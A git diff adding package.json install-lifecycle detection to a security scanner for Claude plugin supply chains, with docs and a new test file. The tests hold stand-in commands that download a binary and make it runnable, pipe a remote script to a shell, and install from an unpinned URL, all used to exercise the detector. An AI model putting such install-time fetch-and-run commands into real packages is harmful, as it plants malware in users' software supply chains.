diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 3ce1145a..21e96137 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -55,7 +55,8 @@ jobs: --module appguardrail_core/claude_plugin_detector.py \ --test tests/test_claude_plugin_supply_chain.py \ --test tests/test_claude_plugin_scan_cli.py \ - --test tests/test_claude_plugin_license_mismatch.py + --test tests/test_claude_plugin_license_mismatch.py \ + --test tests/test_claude_plugin_postinstall_download.py - name: Verify 100% statement coverage for Claude plugin scan CLI if: matrix.python-version == '3.13' run: | diff --git a/CHANGELOG.d/1099-claude-plugin-supply-chain.md b/CHANGELOG.d/1099-claude-plugin-supply-chain.md index 42a14e1f..0956e590 100644 --- a/CHANGELOG.d/1099-claude-plugin-supply-chain.md +++ b/CHANGELOG.d/1099-claude-plugin-supply-chain.md @@ -21,9 +21,10 @@ inventory evidence. Secret references require a complete environment-variable name, so longer documentation variables do not collide with protected names. Unsigned `curl`/`wget` executable fetches and - unpinned pip/npm/cargo URL installs fail admission; a `package.json` - plus lockfile without a postinstall download stays `package_install` - inventory. Plugin skill/agent surfaces reuse released #1036 rule + unpinned pip/npm/cargo URL installs fail admission; `package.json` + `preinstall`/`install`/`postinstall` scripts that download or execute + an unsigned payload fail closed on the same rules, while a lockfile-only + tree without those downloads stays `package_install` inventory. Plugin skill/agent surfaces reuse released #1036 rule identities (`skill-name-homoglyph-confusable`, `skill-manifest-prompt-injection-payload`, `skill-doc-exfiltration-endpoint-directive`, diff --git a/appguardrail_core/claude_plugin_detector.py b/appguardrail_core/claude_plugin_detector.py index 07cb16a8..13d31d1f 100644 --- a/appguardrail_core/claude_plugin_detector.py +++ b/appguardrail_core/claude_plugin_detector.py @@ -2,13 +2,15 @@ Findings come from parsed manifests and executable surfaces, not from issue titles. A floating Git ref, provider secret, pipe-to-shell installer, -unsigned executable download, unpinned package URL install, undeclared hook, -archive path escape, unadmitted nested submodule, hardcoded GitHub write -token, Docker socket bind, secret copied into a network request, or a -released skill-supply-chain finding on a plugin skill/agent surface is a -policy finding. Capability inventory is evidence, not permission: presence -of a capability is not a finding by itself. Skill homoglyph, injection, -exfiltration, and placeholder hits reuse #1036 rule identities. +unsigned executable download, package.json lifecycle download, unpinned +package URL install, undeclared hook, archive path escape, unadmitted nested +submodule, hardcoded GitHub write token, Docker socket bind, secret copied +into a network request, or a released skill-supply-chain finding on a plugin +skill/agent surface is a policy finding. Capability inventory is evidence, +not permission: presence of a capability is not a finding by itself. Skill +homoglyph, injection, exfiltration, and placeholder hits reuse #1036 rule +identities. A lockfile-backed package.json without a lifecycle download +stays inventory. """ from __future__ import annotations @@ -37,8 +39,9 @@ "[CWE-798 - Use of Hard-coded Credentials]" ) CLAUDE_PLUGIN_PIPE_TO_SHELL_MESSAGE: Final = ( - "Claude plugin hook downloads a mutable script and pipes it to a shell. " - "Pin and verify installers; do not execute unsigned remote content. " + "Claude plugin hook or package lifecycle script downloads a mutable " + "script and pipes it to a shell. Pin and verify installers; do not " + "execute unsigned remote content. " "[CWE-494 - Download of Code Without Integrity Check]" ) CLAUDE_PLUGIN_UNDECLARED_EXECUTABLE_MESSAGE: Final = ( @@ -119,14 +122,16 @@ "[CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor]" ) CLAUDE_PLUGIN_UNSIGNED_EXECUTABLE_DOWNLOAD_MESSAGE: Final = ( - "Claude plugin hook downloads an unsigned executable and makes it " - "runnable. Pin and verify binaries; do not fetch mutable runtime " - "payloads. [CWE-494 - Download of Code Without Integrity Check]" + "Claude plugin hook or package lifecycle script downloads an unsigned " + "executable and makes it runnable. Pin and verify binaries; do not " + "fetch mutable runtime payloads. " + "[CWE-494 - Download of Code Without Integrity Check]" ) CLAUDE_PLUGIN_UNPINNED_PACKAGE_INSTALL_MESSAGE: Final = ( - "Claude plugin hook installs a package from an unpinned URL. Pin " - "versions and integrity hashes; do not install mutable remote " - "artifacts. [CWE-494 - Download of Code Without Integrity Check]" + "Claude plugin hook or package lifecycle script installs a package " + "from an unpinned URL. Pin versions and integrity hashes; do not " + "install mutable remote artifacts. " + "[CWE-494 - Download of Code Without Integrity Check]" ) _MCP_FILENAMES: Final = frozenset({".mcp.json", "mcp.json"}) _MAX_PACKAGE_FILES: Final = 10_000 @@ -190,6 +195,7 @@ "yarn.lock", } ) +_LIFECYCLE_SCRIPT_NAMES: Final = ("preinstall", "install", "postinstall") _EXECUTABLE_SUFFIXES = frozenset( {".sh", ".bash", ".zsh", ".js", ".mjs", ".cjs", ".ts", ".py"} ) @@ -426,12 +432,14 @@ def inspect_claude_plugin_file( Returns: Zero or more hits. Unrelated files return an empty tuple. + ``package.json`` is inspected only for npm install lifecycle scripts. """ posix = relative_path.replace("\\", "/") hits: list[PluginHit] = [] manifest = _is_manifest(filename, posix) hook_surface = _is_hook_surface(filename, posix) - if not manifest and not hook_surface: + lifecycle_surface = _is_package_lifecycle_surface(filename) + if not manifest and not hook_surface and not lifecycle_surface: return () if manifest: hits.extend(_inspect_manifest(content)) @@ -453,9 +461,12 @@ def inspect_claude_plugin_file( if hook_surface: hits.extend(_unsigned_executable_download_hits(content)) hits.extend(_unpinned_package_install_hits(content)) - hits.extend(_github_write_token_hits(content)) - hits.extend(_docker_socket_hits(content)) - hits.extend(_secret_to_network_hits(content)) + if lifecycle_surface: + hits.extend(_package_lifecycle_hits(content)) + if manifest or hook_surface: + hits.extend(_github_write_token_hits(content)) + hits.extend(_docker_socket_hits(content)) + hits.extend(_secret_to_network_hits(content)) return tuple(hits) @@ -833,6 +844,119 @@ def _is_hook_surface(filename: str, posix: str) -> bool: return suffix in _EXECUTABLE_SUFFIXES or suffix == "" +def _is_package_lifecycle_surface(filename: str) -> bool: + """Return whether the file is an npm ``package.json`` lifecycle surface.""" + return filename == "package.json" + + +def _lifecycle_script_values(content: str) -> tuple[tuple[str, str], ...]: + """Return ``(name, script)`` pairs for npm install lifecycle scripts.""" + try: + payload = json.loads(content) + except json.JSONDecodeError: + return () + if not isinstance(payload, dict): + return () + scripts = payload.get("scripts") + if not isinstance(scripts, dict): + return () + found: list[tuple[str, str]] = [] + for name in _LIFECYCLE_SCRIPT_NAMES: + value = scripts.get(name) + if isinstance(value, str) and value.strip(): + found.append((name, value)) + return tuple(found) + + +def _script_line(content: str, body: str) -> int: + """Return the 1-based line of a lifecycle script body in package.json.""" + if body in content: + return _line_of(content, body) + return _line_of(content, json.dumps(body)[1:-1]) + + +def _package_lifecycle_hits(content: str) -> tuple[PluginHit, ...]: + """Return unsigned-download findings from package.json lifecycle scripts. + + Only ``preinstall``, ``install``, and ``postinstall`` script strings are + scanned. Other script names and non-script fields stay inventory. + + Args: + content: Raw ``package.json`` text. + + Returns: + Hits using the existing unsigned-download, pipe-to-shell, and + unpinned-package rule identities. Empty when no lifecycle script + downloads or executes an unsigned payload. + """ + hits: list[PluginHit] = [] + for _name, body in _lifecycle_script_values(content): + line = _script_line(content, body) + match = _PIPE_TO_SHELL.search(body) + if match is not None: + hits.append( + PluginHit( + rule_id="claude-plugin-pipe-to-shell", + line=line, + snippet=_sanitize_plugin_snippet(match.group(0).splitlines()[0]), + message=CLAUDE_PLUGIN_PIPE_TO_SHELL_MESSAGE, + ) + ) + for hit in _unsigned_executable_download_hits(body): + hits.append( + PluginHit( + rule_id=hit.rule_id, + line=line, + snippet=hit.snippet, + message=hit.message, + ) + ) + for hit in _unpinned_package_install_hits(body): + hits.append( + PluginHit( + rule_id=hit.rule_id, + line=line, + snippet=hit.snippet, + message=hit.message, + ) + ) + return tuple(hits) + + +def _already_inspected_package_json(relative: str) -> bool: + """Return whether ``relative`` is already scanned under plugin or hook dirs.""" + posix = relative.replace("\\", "/") + if posix.startswith(".claude-plugin/"): + return True + return posix.split("/", 1)[0] in _HOOK_DIRS + + +def _package_lifecycle_file_hits(root: Path) -> tuple[PluginHit, ...]: + """Inspect ``package.json`` files that hook and plugin-dir walks miss. + + Args: + root: Materialized plugin tree. + + Returns: + Lifecycle-script findings from package.json files outside + ``.claude-plugin/`` and hook directories. Unreadable files yield no + hits. + """ + hits: list[PluginHit] = [] + for path in _walk_entries(root): + if path.is_symlink() or not path.is_file() or path.name != "package.json": + continue + relative = path.relative_to(root).as_posix() + if _already_inspected_package_json(relative): + continue + try: + content = path.read_text(encoding="utf-8") + except (OSError, UnicodeDecodeError): + content = "" + hits.extend(inspect_claude_plugin_file(path.name, relative, content)) + return tuple(hits) + + def _github_write_token_hits(content: str) -> tuple[PluginHit, ...]: """Return hardcoded GitHub PAT or app-token findings without secret bodies.""" match = _GITHUB_TOKEN.search(content) @@ -1599,7 +1723,7 @@ def _plugin_identity(root: Path) -> dict[str, str]: def _collect_plugin_hits(root: Path) -> tuple[PluginHit, ...]: - """Combine package-level and per-file Claude plugin findings.""" + """Combine package-level, hook, and package.json lifecycle findings.""" hits = list(scan_claude_plugin_package(root)) for mcp_name in _MCP_FILENAMES: mcp_path = root / mcp_name @@ -1635,6 +1759,7 @@ def _collect_plugin_hits(root: Path) -> tuple[PluginHit, ...]: except (OSError, UnicodeDecodeError): content = "" hits.extend(inspect_claude_plugin_file(path.name, relative, content)) + hits.extend(_package_lifecycle_file_hits(root)) hits.extend(_skill_supply_chain_hits(root)) return tuple(hits) diff --git a/docs/TRACEABILITY.md b/docs/TRACEABILITY.md index bb5a6ab1..2f048ded 100644 --- a/docs/TRACEABILITY.md +++ b/docs/TRACEABILITY.md @@ -22,7 +22,7 @@ | structural Semgrep-style `pattern:` execution by lightweight engine | built-in scanner | not implemented unless a real structural matcher is added; fixtures are not execution | | GitHub Actions transport-only polling loop (#1087, #938 vertical slice) | owned by PR #1088 / issue #1087; YAML rules and RED precision contracts | mapped-family only; this successor does not ship or close the detector | | Password/database-url/auth-comment precision and test-file context (#1106) | existing `_scan_file` rules `hardcoded-password`, `hardcoded-database-url`, `todo-skip-auth`, `_finding_context` | implemented-branch regression lock | -| Claude plugin marketplace/package supply chain (#1099) | `claude-plugin-floating-git-ref`, `claude-plugin-provider-secret`, `claude-plugin-pipe-to-shell`, `claude-plugin-unsigned-executable-download`, `claude-plugin-unpinned-package-install`, `claude-plugin-undeclared-executable`, `claude-plugin-symlink-escape`, `claude-plugin-archive-path-traversal`, `claude-plugin-unadmitted-submodule`, `claude-plugin-duplicate-json-member`, `claude-plugin-unbounded-mcp`, `claude-plugin-license-missing`, `claude-plugin-license-mismatch`, `claude-plugin-concealed-identity`, `claude-plugin-oversized-package`, `claude-plugin-source-mismatch`, `claude-plugin-github-write-token`, `claude-plugin-docker-socket`, `claude-plugin-secret-to-network`, reused #1036 `skill-name-homoglyph-confusable` / `skill-manifest-prompt-injection-payload` / `skill-doc-exfiltration-endpoint-directive` / `skill-placeholder-template-unresolved` on plugin skill/agent surfaces, deterministic scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, fail-closed receipt verification | implemented-branch | +| Claude plugin marketplace/package supply chain (#1099) | `claude-plugin-floating-git-ref`, `claude-plugin-provider-secret`, `claude-plugin-pipe-to-shell`, `claude-plugin-unsigned-executable-download` (hooks and package.json lifecycle scripts), `claude-plugin-unpinned-package-install`, `claude-plugin-undeclared-executable`, `claude-plugin-symlink-escape`, `claude-plugin-archive-path-traversal`, `claude-plugin-unadmitted-submodule`, `claude-plugin-duplicate-json-member`, `claude-plugin-unbounded-mcp`, `claude-plugin-license-missing`, `claude-plugin-license-mismatch`, `claude-plugin-concealed-identity`, `claude-plugin-oversized-package`, `claude-plugin-source-mismatch`, `claude-plugin-github-write-token`, `claude-plugin-docker-socket`, `claude-plugin-secret-to-network`, reused #1036 `skill-name-homoglyph-confusable` / `skill-manifest-prompt-injection-payload` / `skill-doc-exfiltration-endpoint-directive` / `skill-placeholder-template-unresolved` on plugin skill/agent surfaces, deterministic scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, fail-closed receipt verification | implemented-branch | | Orphaned GitHub Actions registry identities (#929) | owned by PR #966 / issue #929; live registry DAST | mapped-family only; this successor does not ship or close the detector | | Org security-failure CI tickets without copied vuln evidence | documented non-detectable family | snapshot in `tests/fixtures/cwl-security-issue-inventory.json` | diff --git a/docs/doctoring/cwl-security-issue-detectors.md b/docs/doctoring/cwl-security-issue-detectors.md index d3b876b6..add79193 100644 --- a/docs/doctoring/cwl-security-issue-detectors.md +++ b/docs/doctoring/cwl-security-issue-detectors.md @@ -16,7 +16,7 @@ every frozen family. It implements only the unique families it owns. |---|---|---|---|---| | Transport-only Actions polling | SAST | #1087, #938 | PR #1088 / issue #1087 | maps only | | Secret indirection / auth comments | SAST | #1106 | this successor | implements regression lock on existing `_scan_file` rules, including LifeOS #247 test-title/authority wording | -| Claude plugin supply chain | SAST | #1099 | this successor | implements `claude-plugin-*` findings including unsigned executable downloads, unpinned package URL installs, GitHub write tokens, Docker socket binds, and secret-to-network flows, reuses released #1036 skill-supply-chain rule identities on plugin skill/agent surfaces, capability inventory evidence, undeclared-executable admission, LICENSE/NOTICE SPDX mismatch, a secret-free scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, and fail-closed stale/mismatched receipt verification | +| Claude plugin supply chain | SAST | #1099 | this successor | implements `claude-plugin-*` findings including unsigned executable downloads from hooks and package.json lifecycle scripts, unpinned package URL installs, GitHub write tokens, Docker socket binds, and secret-to-network flows, reuses released #1036 skill-supply-chain rule identities on plugin skill/agent surfaces, capability inventory evidence, undeclared-executable admission, LICENSE/NOTICE SPDX mismatch, a secret-free scan receipt with catalog repository/SHA bind and SARIF 2.1.0 `sarif_sha256` bound to the same finding rule_ids, and fail-closed stale/mismatched receipt verification | | Orphaned Actions workflows | DAST | #929 | PR #966 / issue #929 | maps only | | Org CI failure without evidence | non-detectable | 353 tickets | inventory snapshot | maps only | | UX / control-plane product gaps | non-detectable | #871, #928 | out of SAST/DAST scope | maps only | diff --git a/docs/sast-dast-rule-research.md b/docs/sast-dast-rule-research.md index c87234d9..9500bac4 100644 --- a/docs/sast-dast-rule-research.md +++ b/docs/sast-dast-rule-research.md @@ -79,7 +79,8 @@ files being scanned, then applies the union of relevant checks. Examples: - `claude-plugin-*`: CWE-494/CWE-798/CWE-829/CWE-250/CWE-200 plugin marketplace provenance, provider secrets, GitHub write tokens, Docker socket binds, secret-to-network flows, pipe-to-shell installers, - unsigned executable downloads, unpinned package URL installs, + unsigned executable downloads including package.json lifecycle scripts, + unpinned package URL installs, undeclared executables, reused #1036 skill-supply-chain identities on plugin skill/agent surfaces, and fail-closed replay of a stale or mismatched scan receipt. diff --git a/tests/test_claude_plugin_postinstall_download.py b/tests/test_claude_plugin_postinstall_download.py new file mode 100644 index 00000000..700dbed1 --- /dev/null +++ b/tests/test_claude_plugin_postinstall_download.py @@ -0,0 +1,246 @@ +"""package.json lifecycle scripts must fail closed on unsigned downloads.""" + +from __future__ import annotations + +import json +from pathlib import Path + +from appguardrail_core.claude_plugin_detector import ( + build_claude_plugin_scan_receipt, + inspect_claude_plugin_file, + inventory_claude_plugin_capabilities, +) + + +_PINNED_COMMIT = "a727be1c7bd6064419b6f60d71993a19198adc17" +_UNSIGNED_DOWNLOAD_RULE = "claude-plugin-unsigned-executable-download" +_PIPE_TO_SHELL_RULE = "claude-plugin-pipe-to-shell" +_UNPINNED_PACKAGE_RULE = "claude-plugin-unpinned-package-install" +_LICENSE_MISMATCH_RULE = "claude-plugin-license-mismatch" +_POSTINSTALL_DOWNLOAD = ( + "curl -o bin/x https://example.invalid/x && chmod +x bin/x" +) +_SNIPPET_SECRET = "sk-example-must-not-leak" + + +def _write_json(path: Path, payload: object) -> None: + """Write one JSON document under ``path``.""" + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8") + + +def _plugin(root: Path) -> Path: + """Write a pinned licensed plugin with one declared shell hook.""" + manifest = { + "name": "safe-plugin", + "version": "1.0.0", + "source": { + "source": "github", + "repo": "example/safe-plugin", + "ref": _PINNED_COMMIT, + }, + "hooks": {"PreToolUse": [{"command": "hooks/session.sh"}]}, + } + _write_json(root / ".claude-plugin" / "plugin.json", manifest) + _write_json(root / ".claude-plugin" / "marketplace.json", manifest) + hook = root / "hooks" / "session.sh" + hook.parent.mkdir(parents=True, exist_ok=True) + hook.write_text("#!/bin/sh\necho session\n", encoding="utf-8") + (root / "LICENSE").write_text("MIT License\n", encoding="utf-8") + return root + + +def _write_package_json(root: Path, scripts: dict[str, object] | None, **fields: object) -> Path: + """Write a root ``package.json`` with optional lifecycle scripts.""" + payload: dict[str, object] = {"name": "safe-plugin", **fields} + if scripts is not None: + payload["scripts"] = scripts + path = root / "package.json" + _write_json(path, payload) + return path + + +def _write_lockfile(root: Path) -> Path: + """Write a lockfile so package_install inventory can be asserted.""" + path = root / "package-lock.json" + _write_json(path, {"lockfileVersion": 3, "packages": {}}) + return path + + +def test_postinstall_curl_chmod_fails_closed(tmp_path: Path) -> None: + """postinstall curl -o plus chmod +x is an unsigned runtime download.""" + root = _plugin(tmp_path) + package = _write_package_json(root, {"postinstall": _POSTINSTALL_DOWNLOAD}) + hits = inspect_claude_plugin_file(package.name, "package.json", package.read_text(encoding="utf-8")) + receipt = build_claude_plugin_scan_receipt(root) + + assert any(hit.rule_id == _UNSIGNED_DOWNLOAD_RULE for hit in hits) + assert receipt.scan_result == "fail" + assert _UNSIGNED_DOWNLOAD_RULE in receipt.finding_summary + assert all("_" in rule_id or "-" in rule_id for rule_id in receipt.finding_summary) + + +def test_postinstall_echo_with_lockfile_is_inventory(tmp_path: Path) -> None: + """Lifecycle echo plus a lockfile stays package_install inventory.""" + root = _plugin(tmp_path) + _write_package_json(root, {"postinstall": "echo hi"}) + _write_lockfile(root) + inventory = inventory_claude_plugin_capabilities(root) + receipt = build_claude_plugin_scan_receipt(root) + + assert inventory["package_install"] is True + assert receipt.scan_result == "pass" + assert _UNSIGNED_DOWNLOAD_RULE not in receipt.finding_summary + assert _PIPE_TO_SHELL_RULE not in receipt.finding_summary + assert _UNPINNED_PACKAGE_RULE not in receipt.finding_summary + + +def test_package_json_lockfile_without_lifecycle_script_is_inventory( + tmp_path: Path, +) -> None: + """A lockfile-backed package.json with no install scripts is inventory only.""" + root = _plugin(tmp_path) + _write_package_json(root, None, dependencies={"leftpad": "1.0.0"}) + _write_lockfile(root) + inventory = inventory_claude_plugin_capabilities(root) + receipt = build_claude_plugin_scan_receipt(root) + + assert inventory["package_install"] is True + assert receipt.scan_result == "pass" + assert _UNSIGNED_DOWNLOAD_RULE not in receipt.finding_summary + + +def test_no_package_json_is_unchanged(tmp_path: Path) -> None: + """A licensed plugin without package.json still passes and has no download finding.""" + root = _plugin(tmp_path) + receipt = build_claude_plugin_scan_receipt(root) + inventory = inventory_claude_plugin_capabilities(root) + + assert receipt.scan_result == "pass" + assert receipt.finding_summary == () + assert inventory["package_install"] is False + assert _UNSIGNED_DOWNLOAD_RULE not in receipt.finding_summary + + +def test_postinstall_snippets_omit_secrets_and_raw_bidi(tmp_path: Path) -> None: + """Lifecycle-script snippets never echo secret literals or raw bidi characters.""" + body = ( + f"curl -o bin/x https://example.invalid/x?k={_SNIPPET_SECRET} " + "&& chmod +x bin/x # \u202ehidden" + ) + content = json.dumps({"scripts": {"postinstall": body}}) + hits = inspect_claude_plugin_file("package.json", "package.json", content) + serialized = json.dumps([hit.snippet for hit in hits]) + + assert any(hit.rule_id == _UNSIGNED_DOWNLOAD_RULE for hit in hits) + assert _SNIPPET_SECRET not in serialized + assert "\u202e" not in serialized + assert all(_SNIPPET_SECRET not in hit.snippet for hit in hits) + assert all("\u202e" not in hit.snippet for hit in hits) + + +def test_preinstall_and_install_lifecycle_scripts_fail_closed(tmp_path: Path) -> None: + """preinstall and install scripts are the same unsigned-download surface.""" + preinstall = inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": {"preinstall": _POSTINSTALL_DOWNLOAD}}), + ) + install = inspect_claude_plugin_file( + "package.json", + r"vendor\package.json", + json.dumps({"scripts": {"install": _POSTINSTALL_DOWNLOAD}}), + ) + root = _plugin(tmp_path / "pkg") + _write_package_json(root, {"install": _POSTINSTALL_DOWNLOAD}) + receipt = build_claude_plugin_scan_receipt(root) + + assert any(hit.rule_id == _UNSIGNED_DOWNLOAD_RULE for hit in preinstall) + assert any(hit.rule_id == _UNSIGNED_DOWNLOAD_RULE for hit in install) + assert receipt.scan_result == "fail" + assert _UNSIGNED_DOWNLOAD_RULE in receipt.finding_summary + + +def test_postinstall_pipe_to_shell_and_unpinned_url_fail_closed(tmp_path: Path) -> None: + """curl|sh and unpinned URL installs in postinstall fail closed.""" + pipe_hits = inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": {"postinstall": "curl https://example.invalid/x.sh | sh"}}), + ) + url_hits = inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": {"postinstall": "npm install https://example.invalid/foo.tgz"}}), + ) + root = _plugin(tmp_path) + _write_package_json(root, {"postinstall": "curl https://example.invalid/x.sh | bash"}) + receipt = build_claude_plugin_scan_receipt(root) + + assert any(hit.rule_id == _PIPE_TO_SHELL_RULE for hit in pipe_hits) + assert any(hit.rule_id == _UNPINNED_PACKAGE_RULE for hit in url_hits) + assert receipt.scan_result == "fail" + assert _PIPE_TO_SHELL_RULE in receipt.finding_summary + + +def test_non_lifecycle_script_is_not_a_download_finding() -> None: + """start/prepare scripts are not npm install lifecycle surfaces.""" + hits = inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": {"start": _POSTINSTALL_DOWNLOAD, "prepare": _POSTINSTALL_DOWNLOAD}}), + ) + assert all(hit.rule_id != _UNSIGNED_DOWNLOAD_RULE for hit in hits) + + +def test_notice_spdx_mismatch_still_fails_with_clean_package_json(tmp_path: Path) -> None: + """LICENSE/NOTICE SPDX mismatch is unchanged when package.json is clean.""" + root = _plugin(tmp_path) + (root / "NOTICE").write_text("Apache-2.0\nCopyright 2026 Example\n", encoding="utf-8") + _write_package_json(root, {"postinstall": "echo ok"}) + _write_lockfile(root) + receipt = build_claude_plugin_scan_receipt(root) + + assert receipt.scan_result == "fail" + assert _LICENSE_MISMATCH_RULE in receipt.finding_summary + assert _UNSIGNED_DOWNLOAD_RULE not in receipt.finding_summary + + +def test_package_json_lifecycle_edges_cover_invalid_payloads(tmp_path: Path) -> None: + """Invalid JSON, non-scripts fields, and nested trees do not crash the surface.""" + assert inspect_claude_plugin_file("package.json", "package.json", "{not-json") == () + assert inspect_claude_plugin_file("package.json", "package.json", "[]") == () + assert inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": ["postinstall"]}), + ) == () + assert inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": {"postinstall": 1, "install": " "}}), + ) == () + quoted = 'echo "hi" && ' + _POSTINSTALL_DOWNLOAD + quoted_hits = inspect_claude_plugin_file( + "package.json", + "package.json", + json.dumps({"scripts": {"postinstall": quoted}}), + ) + assert any(hit.rule_id == _UNSIGNED_DOWNLOAD_RULE for hit in quoted_hits) + + root = _plugin(tmp_path) + nested = root / "vendor" / "package.json" + _write_json(nested, {"scripts": {"postinstall": _POSTINSTALL_DOWNLOAD}}) + _write_json( + root / ".claude-plugin" / "package.json", + {"scripts": {"postinstall": "echo nested-plugin"}}, + ) + _write_json(root / "hooks" / "package.json", {"scripts": {"postinstall": "echo hook"}}) + (root / "broken.json").write_bytes(b"\xff\xfe") + unreadable = root / "vendor" / "broken" / "package.json" + unreadable.parent.mkdir(parents=True, exist_ok=True) + unreadable.write_bytes(b"\xff\xfe") + receipt = build_claude_plugin_scan_receipt(root) + assert receipt.scan_result == "fail" + assert _UNSIGNED_DOWNLOAD_RULE in receipt.finding_summary + assert inspect_claude_plugin_file("README.md", "README.md", _POSTINSTALL_DOWNLOAD) == ()